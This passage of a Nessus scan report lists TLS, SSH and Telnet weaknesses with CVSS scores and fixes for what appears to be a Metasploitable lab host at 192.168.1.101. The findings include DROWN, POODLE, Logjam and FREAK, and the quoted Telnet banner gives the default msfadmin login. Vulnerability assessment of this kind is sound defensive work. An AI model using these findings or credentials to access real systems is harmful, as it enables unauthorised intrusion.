If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>

<https://en.wikipedia.org/wiki/X.509>

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The following certificate was part of the certificate chain  
sent by the remote host, but it has expired :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Not After : Apr 16 14:07:45 2010 GMT
```

```
The following certificate was at the top of the certificate  
chain sent by the remote host, but it is signed by an unknown  
certificate authority :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Issuer : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
The SSL certificate has already expired :  
  
Subject : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,  
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,  
emailAddress=root@ubuntu804-base.localdomain  
Issuer : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,  
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,  
emailAddress=root@ubuntu804-base.localdomain  
Not valid before : Mar 17 14:07:45 2010 GMT  
Not valid after : Apr 16 14:07:45 2010 GMT
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
The SSL certificate has already expired :  
  
Subject : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,  
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,  
emailAddress=root@ubuntu804-base.localdomain  
Issuer : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,  
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,  
emailAddress=root@ubuntu804-base.localdomain  
Not valid before : Mar 17 14:07:45 2010 GMT  
Not valid after : Apr 16 14:07:45 2010 GMT
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The identities known by Nessus are :
```

```
192.168.1.101  
192.168.1.101
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The identities known by Nessus are :
```

```
192.168.1.101  
192.168.1.101
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

89058 - SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened eNcryption)

Synopsis

The remote host may be affected by a vulnerability that allows a remote attacker to potentially decrypt captured TLS traffic.

Description

The remote host supports SSLv2 and therefore may be affected by a vulnerability that allows a cross-protocol Bleichenbacher padding oracle attack known as DROWN (Decrypting RSA with Obsolete and Weakened eNcryption). This vulnerability exists due to a flaw in the Secure Sockets Layer Version 2 (SSLv2) implementation, and it allows captured TLS traffic to be decrypted. A man-in-the-middle attacker can exploit this to decrypt the TLS connection by utilizing previously captured traffic and weak cryptography along with a series of specially crafted connections to an SSLv2 server that uses the same private key.

See Also

<https://drownattack.com/>

<https://drownattack.com/drown-attack-paper.pdf>

Solution

Disable SSLv2 and export grade cryptography cipher suites. Ensure that private keys are not used anywhere with server software that supports SSLv2 connections.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID 83733
CVE CVE-2016-0800
XREF CERT:583776

Plugin Information

Published: 2016/03/01, Modified: 2019/11/20

Plugin Output

tcp/25/smtp

```
The remote host is affected by SSL DROWN and supports the following
vulnerable cipher suites :
```

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
export					
EXP-RC4-MD5	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
export					

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	0x01, 0x00, 0x80	RSA	RSA	RC4(128)	MD5

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

Synopsis

The remote service supports the use of the RC4 cipher.

Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

See Also

<https://www.rc4nomore.com/>

<http://www.nessus.org/u?ac7327a0>

<http://cr.yp.to/talks/2013.03.12/slides.pdf>

<http://www.isg.rhul.ac.uk/tls/>

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

VPR Score

4.4

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:ND/RC:C)

References

BID	58796
BID	73684
CVE	CVE-2013-2566
CVE	CVE-2015-2808

Plugin Information

Published: 2013/04/05, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

List of RC4 cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4 (40)	MD5
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4 (40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4 (40)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4 -MD5	0x01, 0x00, 0x80	RSA	RSA	RC4 (128)	MD5
ADH -RC4 -MD5	0x00, 0x18	DH	None	RC4 (128)	MD5
RC4 -MD5	0x00, 0x04	RSA	RSA	RC4 (128)	MD5
RC4 - SHA	0x00, 0x05	RSA	RSA	RC4 (128)	

SHA1

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

Synopsis

The remote service supports the use of the RC4 cipher.

Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

See Also

<https://www.rc4nomore.com/>

<http://www.nessus.org/u?ac7327a0>

<http://cr.yp.to/talks/2013.03.12/slides.pdf>

<http://www.isg.rhul.ac.uk/tls/>

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

VPR Score

4.4

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:ND/RC:C)

References

BID	58796
BID	73684
CVE	CVE-2013-2566
CVE	CVE-2015-2808

Plugin Information

Published: 2013/04/05, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
List of RC4 cipher suites supported by the remote server :
```

```
High Strength Ciphers (>= 112-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	---	-----	-----
RC4 - SHA SHA1	0x00, 0x05	RSA	RSA	RC4 (128)	

```
The fields above are :
```

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/25/smtp

The following certificate was found at the top of the certificate chain sent by the remote host, but is self-signed and was not found in the list of known certificate authorities :

| - Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-base.localdomain

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/5432/postgresql

The following certificate was found at the top of the certificate chain sent by the remote host, but is self-signed and was not found in the list of known certificate authorities :

| - Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-base.localdomain

26928 - SSL Weak Cipher Suites Supported

Synopsis

The remote service supports the use of weak SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer weak encryption.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?6527892d>

Solution

Reconfigure the affected application, if possible to avoid the use of weak ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

References

XREF	CWE:326
XREF	CWE:327
XREF	CWE:720
XREF	CWE:753
XREF	CWE:803
XREF	CWE:928
XREF	CWE:934

Plugin Information

Published: 2007/10/08, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

Here is the list of weak SSL ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x15	DH	RSA	DES-CBC(56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1 export	0x00, 0x1A	DH	None	DES-CBC(56)	
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
DES-CBC-SHA SHA1	0x00, 0x09	RSA	RSA	DES-CBC(56)	

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

81606 - SSL/TLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_RSA cipher suites with keys less than or equal to 512 bits. An attacker can factor a 512-bit RSA modulus in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_RSA cipher suites (e.g. CVE-2015-0204). Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://www.smacktls.com/#freak>

<https://www.openssl.org/news/secadv/20150108.txt>

<http://www.nessus.org/u?b78da2c4>

Solution

Reconfigure the service to remove support for EXPORT_RSA cipher suites.

Risk Factor

Medium

VPR Score

3.7

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	71936
CVE	CVE-2015-0204
XREF	CERT:243585

Plugin Information

Plugin Output

tcp/25/smtp

```
EXPORT_RSA cipher suites supported by the remote server :
```

```
Low Strength Ciphers (<= 64-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
EXP-DES-CBC-SHA	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
SHA1 export					
EXP-RC2-CBC-MD5	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
export					
EXP-RC4-MD5	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
export					

```
The fields above are :
```

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

104743 - TLS Version 1.0 Protocol Detection

Synopsis

The remote service encrypts traffic using an older version of TLS.

Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

See Also

<https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00>

Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

References

XREF CWE:327

Plugin Information

Published: 2017/11/22, Modified: 2023/04/19

Plugin Output

tcp/25/smtp

```
TLSv1 is enabled and the server supports at least one cipher.
```

104743 - TLS Version 1.0 Protocol Detection

Synopsis

The remote service encrypts traffic using an older version of TLS.

Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

See Also

<https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00>

Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

References

XREF CWE:327

Plugin Information

Published: 2017/11/22, Modified: 2023/04/19

Plugin Output

tcp/5432/postgresql

```
TLSv1 is enabled and the server supports at least one cipher.
```

42263 - Unencrypted Telnet Server

Synopsis

The remote Telnet server transmits traffic in cleartext.

Description

The remote host is running a Telnet server over an unencrypted channel.

Using Telnet over an unencrypted channel is not recommended as logins, passwords, and commands are transferred in cleartext. This allows a remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other sensitive information and to modify traffic exchanged between a client and server.

SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additional data streams such as an X11 session.

Solution

Disable the Telnet service and use SSH instead.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2009/10/27, Modified: 2024/01/16

Plugin Output

tcp/23/telnet

Nessus collected the following banner from the remote Telnet server ::

Warning: Never expose this VM to an untrusted network!

```
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
metasploitable login:  
----- snip -----
```

70658 - SSH Server CBC Mode Ciphers Enabled

Synopsis

The SSH server is configured to use Cipher Block Chaining.

Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

VPR Score

3.6

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32319
CVE	CVE-2008-5161
XREF	CERT:958563
XREF	CWE:200

Plugin Information

Published: 2013/10/28, Modified: 2023/10/27

Plugin Output

tcp/22/ssh

```
The following client-to-server Cipher Block Chaining (CBC) algorithms  
are supported :
```

```
3des-cbc  
aes128-cbc  
aes192-cbc  
aes256-cbc  
blowfish-cbc  
cast128-cbc  
rijndael-cbc@lysator.liu.se
```

```
The following server-to-client Cipher Block Chaining (CBC) algorithms  
are supported :
```

```
3des-cbc  
aes128-cbc  
aes192-cbc  
aes256-cbc  
blowfish-cbc  
cast128-cbc  
rijndael-cbc@lysator.liu.se
```

153953 - SSH Weak Key Exchange Algorithms Enabled

Synopsis

The remote SSH server is configured to allow weak key exchange algorithms.

Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) RFC9142. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

See Also

<https://datatracker.ietf.org/doc/html/rfc9142>

Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2021/10/13, Modified: 2024/03/22

Plugin Output

tcp/22/ssh

```
The following weak key exchange algorithms are enabled :
```

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1
```

71049 - SSH Weak MAC Algorithms Enabled

Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following client-to-server Message Authentication Code (MAC) algorithms  
are supported :
```

```
hmac-md5  
hmac-md5-96  
hmac-sha1-96
```

```
The following server-to-client Message Authentication Code (MAC) algorithms  
are supported :
```

```
hmac-md5  
hmac-md5-96  
hmac-sha1-96
```

83875 - SSL/TLS Diffie-Hellman Modulus <= 1024 Bits (Logjam)

Synopsis

The remote host allows SSL/TLS connections with one or more Diffie-Hellman moduli less than or equal to 1024 bits.

Description

The remote host allows SSL/TLS connections with one or more Diffie-Hellman moduli less than or equal to 1024 bits. Through cryptanalysis, a third party may be able to find the shared secret in a short amount of time (depending on modulus size and attacker resources). This may allow an attacker to recover the plaintext or potentially violate the integrity of connections.

See Also

<https://weakdh.org/>

Solution

Reconfigure the service to use a unique Diffie-Hellman moduli of 2048 bits or greater.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.9

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID 74733

CVE CVE-2015-4000
XREF CEA-ID:CEA-2021-0004

Plugin Information

Published: 2015/05/28, Modified: 2022/12/05

Plugin Output

tcp/25/smtp

```
Vulnerable connection combinations :  
  
SSL/TLS version : SSLv3  
Cipher suite     : TLS1_CK_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA  
Diffie-Hellman MODP size (bits) : 512  
Logjam attack difficulty : Easy (could be carried out by individuals)  
  
SSL/TLS version : TLSv1.0  
Cipher suite     : TLS1_CK_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA  
Diffie-Hellman MODP size (bits) : 512  
Logjam attack difficulty : Easy (could be carried out by individuals)
```

83738 - SSL/TLS EXPORT_DHE <= 512-bit Export Cipher Suites Supported (Logjam)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_DHE cipher suites with keys less than or equal to 512 bits. Through cryptanalysis, a third party can find the shared secret in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_DHE cipher suites. Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://weakdh.org/>

Solution

Reconfigure the service to remove support for EXPORT_DHE cipher suites.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.9

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

2.2 (CVSS2#E:U/RL:ND/RC:C)

References

BID 74733

CVE CVE-2015-4000
XREF CEA-ID:CEA-2021-0004

Plugin Information

Published: 2015/05/21, Modified: 2022/12/05

Plugin Output

tcp/25/smtp

```
EXPORT_DHE cipher suites supported by the remote server :  
  
Low Strength Ciphers (<= 64-bit key)  
  
-----  
Name          Code      KEX      Auth     Encryption      MAC  
-----  
EXP - EDH - RSA - DES - CBC - SHA    0x00, 0x14   DH(512)  RSA      DES - CBC (40)  
SHA1         export  
EXP - ADH - DES - CBC - SHA    0x00, 0x19   DH(512)  None     DES - CBC (40)  
SHA1         export  
EXP - ADH - RC4 - MD5    0x00, 0x17   DH(512)  None     RC4 (40)      MD5  
      export  
  
The fields above are :  
  
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

See Also

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00>

Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

Risk Factor

Medium

CVSS v3.0 Base Score

3.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.1 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.1

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID 70574

CVE CVE-2014-3566

XREF CERT:577193

Plugin Information

Published: 2014/10/15, Modified: 2023/06/23

Plugin Output

tcp/25/smtp

```
Nessus determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable.
```

```
